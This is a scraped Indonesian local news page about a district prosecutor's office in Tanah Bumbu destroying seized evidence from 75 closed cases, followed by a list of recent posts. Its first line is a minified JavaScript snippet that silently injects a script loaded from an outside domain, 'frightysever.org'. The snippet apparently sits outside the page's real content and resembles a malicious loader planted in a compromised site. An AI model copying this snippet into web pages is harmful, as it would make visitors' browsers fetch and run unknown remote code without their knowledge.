(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Kejari Tanbu Musnahkan Barbuk 75 Perkara yang Sudah Diputus Pengadilan


KANALKALIMANTAN.COM, BATULICIN – Kejaksaan Negeri (Kejari) Kabupaten Tanah Bumbu (Tanbu) melakukan pemusnahan barang bukti di halaman Kejari Tanbu, Selasa (12/7/2022).

Pemusnahan berbagai macam barang bukti (Barbuk) dilakukan setelah sudah memiliki kekuatan hukum yang tetap.

Kepala Kejari anbu, I Wayan Wiradharma memimpin pemusnahan barbuk didampingi Kasi Barang Bukti dan Rampasan, Rhaksy Gandh, dan Kasi Intel Risky Purbo Nugroho.

Sejumlah barbuk narkoba dari hasil kejahatan diblender, kemudian dilanjutkan dengan membakar barang bukti pakaian di dalam drum yang sudah dipotong.

 

Baca juga  : Kodim 1001/HSU-BLG Silaturahmi Jalin Kekeluargaan ke Warakauri

Menurut Kajari Tanbu, semua barang bukti tersebut merupakan hasil barang bukti yang sudah memiliki ketetapan hukum tetap atau inkrah.

Kejari Tanbu menyebutkan sebanyak 75 perkara terdiri dari Narkotika sebanyak 51 perkara, orang dan harta benda sebanyak 10 perkara, dan tindak pidana umum lainnya (TPUL) sebanyak 14 perkara.

”Hari ini kita musnahkan barang bukti karena sudah miliki ketetapan hukum dan kejaksaan punya hak untuk musnahkan barang bukti tersebut, ” kata I Wayan Wiradharma.

Dirinya menyebutkan, barang bukti sitaan yang punya kekuatan hukum tetap dari periode Januari hingga Juni 2022.

 

Baca juga  : Baznas HSU Salurkan Bantuan Sapi Kurban di Desa Panawakan

Sementara itu, Kasi Barang Bukti dan Rampasan, Rhaksy Gandhy menambahkan pemusnahan barbuk merupakan dilakukan sesuai aturan yang berlaku.

”Barang bukti yang disita kita musnahkan, adapun barang bukti yang dinyatakan harus dikembalikan ke pemiliknya berdasarkan putusan pengadilan maka kita kembalikan,” pungkasnya.

Barang bukti yang dikembalikan bisa diambul melalui inovasi dari Kejari Tanbu yakni Si ABG alias Siap Antar Barang Bukti Gratis. Untuk yang dekat akan diantar langsung dan yang jauh pihaknya berkerjasama dengan Kantor Pos.

”Jadi yang jauh akan kami antar melalui Kantor Pos dan yang dekat kita antar dengan mobil SI ABG tanpa biaya,” tutupnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

8 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

10 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

11 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

11 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

14 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

15 jam ago

This website uses cookies.